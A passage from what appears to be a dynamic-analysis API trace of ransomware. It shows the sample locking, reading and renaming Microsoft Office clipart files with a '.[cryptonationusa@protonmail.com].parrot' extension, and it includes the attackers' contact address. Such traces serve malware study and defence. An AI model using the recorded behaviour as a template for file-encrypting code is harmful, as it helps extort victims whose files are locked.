lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.862] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9232, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.862] CloseHandle (hObject=0x27c) returned 1 [0142.862] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.868] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa872, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.868] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.868] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.869] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.869] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa75a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa75a, lpOverlapped=0x0) returned 1 [0142.873] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.873] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa872, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.874] CloseHandle (hObject=0x27c) returned 1 [0142.874] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.877] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x82c3, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.877] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.877] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.878] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.879] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x81ab, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x81ab, lpOverlapped=0x0) returned 1 [0142.882] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.882] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x82c3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.882] CloseHandle (hObject=0x27c) returned 1 [0142.883] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.886] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbae9, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.886] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.886] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.946] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.947] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb9d1, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb9d1, lpOverlapped=0x0) returned 1 [0142.953] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.955] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbae9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.955] CloseHandle (hObject=0x27c) returned 1 [0142.956] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.965] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x420a, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.965] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.965] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.967] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.967] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x40f2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x40f2, lpOverlapped=0x0) returned 1 [0142.970] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.970] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x420a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.970] CloseHandle (hObject=0x27c) returned 1 [0142.971] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.977] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4c1a, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.977] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.977] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.978] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.978] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4b02, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4b02, lpOverlapped=0x0) returned 1 [0142.980] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.980] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4c1a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.980] CloseHandle (hObject=0x27c) returned 1 [0142.980] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.984] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4352, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.984] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.984] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.999] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.000] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x423a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x423a, lpOverlapped=0x0) returned 1 [0143.001] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.001] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4352, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.001] CloseHandle (hObject=0x27c) returned 1 [0143.002] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.007] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4298, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.007] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.007] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.008] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.008] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4180, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4180, lpOverlapped=0x0) returned 1 [0143.009] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.010] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4298, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.010] CloseHandle (hObject=0x27c) returned 1 [0143.010] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318448.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318448.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.014] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f12, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.014] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.014] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.032] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.032] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2dfa, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2dfa, lpOverlapped=0x0) returned 1 [0143.034] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.034] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2f12, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.034] CloseHandle (hObject=0x27c) returned 1 [0143.034] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318804.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318804.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.039] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x29d6, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.039] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.039] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.041] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.042] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x28be, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x28be, lpOverlapped=0x0) returned 1 [0143.043] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.043] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x29d6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.043] CloseHandle (hObject=0x27c) returned 1 [0143.043] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318810.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318810.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.048] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x25ef, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.049] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.049] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.050] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.050] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x24d7, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x24d7, lpOverlapped=0x0) returned 1 [0143.051] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.052] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x25ef, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.052] CloseHandle (hObject=0x27c) returned 1 [0143.052] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.057] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3110, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.057] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.057] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.059] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.059] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2ff8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2ff8, lpOverlapped=0x0) returned 1 [0143.060] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.061] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3110, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.061] CloseHandle (hObject=0x27c) returned 1 [0143.061] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324694.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324694.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.065] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f96, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.065] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.065] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.066] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.066] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2e7e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2e7e, lpOverlapped=0x0) returned 1 [0143.067] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.068] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2f96, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.068] CloseHandle (hObject=0x27c) returned 1 [0143.068] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324704.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324704.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.072] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3378, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.072] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.072] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.073] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.073] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3260, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3260, lpOverlapped=0x0) returned 1 [0143.074] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.075] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3378, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.075] CloseHandle (hObject=0x27c) returned 1 [0143.075] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.079] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x28ec, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.079] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.079] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.081] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.081] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x27d4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x27d4, lpOverlapped=0x0) returned 1 [0143.082] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.082] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x28ec, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.082] CloseHandle (hObject=0x27c) returned 1 [0143.082] MoveFileExW 